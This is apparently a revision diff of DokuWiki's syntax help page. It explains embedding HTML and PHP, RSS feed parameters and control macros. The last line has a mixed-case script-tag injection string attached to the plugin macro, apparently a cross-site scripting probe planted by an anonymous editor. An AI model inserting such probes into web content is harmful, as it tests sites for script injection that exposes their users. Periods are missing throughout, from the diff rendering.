-You can embed raw HTML or PHP code into your documents by using the ''​%%&lt;html&gt;​%%'' ​or ''​%%&lt;php&gt;​%%'' ​tags. (Use uppercase tags if you need to enclose block level elements.) +
- +
-HTML example: +
- +
-&lt;code&gt; +
-&lt;html&gt; +
-This is some &lt;span style=&quot;​color:​red;​font-size:​150%;​&quot;&gt;​inline ​HTML&lt;/span&gt; +
-&lt;/html&gt; +
-&lt;HTML&gt; +
-&lt;p style=&quot;​border:​2px ​dashed red;&quot;&gt;And this is some block HTML&lt;/p&gt; +
-&lt;/HTML&gt; +
-&lt;/code&gt; +
- +
-&lt;html&gt; +
-This is some &lt;span style=&quot;​color:​red;​font-size:​150%;​&quot;&gt;​inline ​HTML&lt;/span&gt; +
-&lt;/html&gt; +
-&lt;HTML&gt; +
-&lt;p style=&quot;​border:​2px ​dashed red;&quot;&gt;And this is some block HTML&lt;/p&gt; +
-&lt;/HTML&gt; +
- +
-PHP example: +
- +
-&lt;code&gt; +
-&lt;php&gt; +
-echo '​The ​PHP version: '; +
-echo phpversion(); +
-echo ' (generated ​inline HTML)'; +
-&lt;/php&gt; +
-&lt;PHP&gt; +
-echo '&lt;​table ​class=&quot;inline&quot;&gt;&lt;tr&gt;&lt;td&gt;The same, but inside a block level element:&lt;/td&gt;'; +
-echo '&lt;td&gt;'​.phpversion().'​&lt;/td&gt;'; +
-echo '&lt;/tr&gt;&lt;/table&gt;'; +
-&lt;/PHP&gt; +
-&lt;/code&gt; +
- +
-&lt;php&gt; +
-echo '​The ​PHP version: '; +
-echo phpversion(); +
-echo ' (inline ​HTML)'; +
-&lt;/php&gt; +
-&lt;PHP&gt; +
-echo '&lt;​table ​class=&quot;inline&quot;&gt;&lt;tr&gt;&lt;td&gt;The same, but inside a block level element:&lt;/td&gt;'; +
-echo '&lt;td&gt;'​.phpversion().'​&lt;/td&gt;'; +
-echo '&lt;/tr&gt;&lt;/table&gt;'; +
-&lt;/PHP&gt; +
- +
-**Please ​Note**: HTML and PHP embedding is disabled by default in the configurationIf disabled, the code is displayed instead of executed. +
- +
-===== RSS/ATOM Feed Aggregation ​===== +
-[[DokuWiki]] ​can integrate data from external XML feedsFor parsing the XML feeds, ​[[http://​simplepie.org/​|SimplePie]] is usedAll formats understood by SimplePie can be used in DokuWiki as wellYou can influence the rendering by multiple additional space separated parameters: +
- +
-^ Parameter ​ ^ Description ^ +
-| any number | will be used as maximum number items to show, defaults to 8 | +
-| reverse ​   | display the last items in the feed first | +
-| author ​    | show item authors names | +
-| date       | show item dates | +
-| description| show the item descriptionIf [[doku&gt;​config:​htmlok|HTML]] is disabled all tags will be stripped | +
-| nosort ​    | do not sort the items in the feed | +
-//​n//​[dhm] ​| refresh period, where d=days, h=hours, m=minutes. (e.g. 12h 12 hours). +
- +
-The refresh period defaults to 4 hoursAny value below 10 minutes will be treated as 10 minutes. [[wiki:​DokuWiki]] ​will generally try to supply a cached version of a page, obviously this is inappropriate when the page contains dynamic external contentThe parameter tells [[wiki:​DokuWiki]] ​to re-render ​the page if it is more than //​refresh ​period// since the page was last rendered. +
- +
-By default the feed will be sorted by date, newest items firstYou can sort it by oldest first using the ''​reverse'' ​parameter, or display the feed as is with ''​nosort''​. +
- +
-**Example:​** +
- +
-  ​{{rss&gt;​http://​slashdot.org/​index.rss ​5 author date 1h }} +
- +
-{{rss&gt;​http://​slashdot.org/​index.rss ​5 author date 1h }} +
- +
- +
-===== Control Macros ​===== +
- +
-Some syntax influences how DokuWiki renders a page without creating any output it selfThe following control macros are availble: +
- +
-^ Macro           ^ Description | +
-%%~~NOTOC~~%%   | If this macro is found on the page, no table of contents will be created | +
-%%~~NOCACHE~~%% | DokuWiki caches all output by defaultSometimes this might not be wanted ​(eg. when the %%&lt;php&gt;%% syntax above is used), adding this macro will force DokuWiki to rerender a page on every call | +
- +
-===== Syntax Plugins ​===== +
- +
-DokuWiki'​s ​syntax can be extended by [[doku&gt;plugins|Plugins]]. How the installed plugins are used is described on their appropriate description pagesThe following syntax plugins are available in this particular DokuWiki installation: +
- +
-~~INFO:​syntaxplugins~~1\u003CScRiPt\gaUU(9836)\u003C/sCripT\u003E+
wiki/syntax_9179.1672687481.txt.gz · Last modified: 2023/01/02 14:24 by 199.249.230.177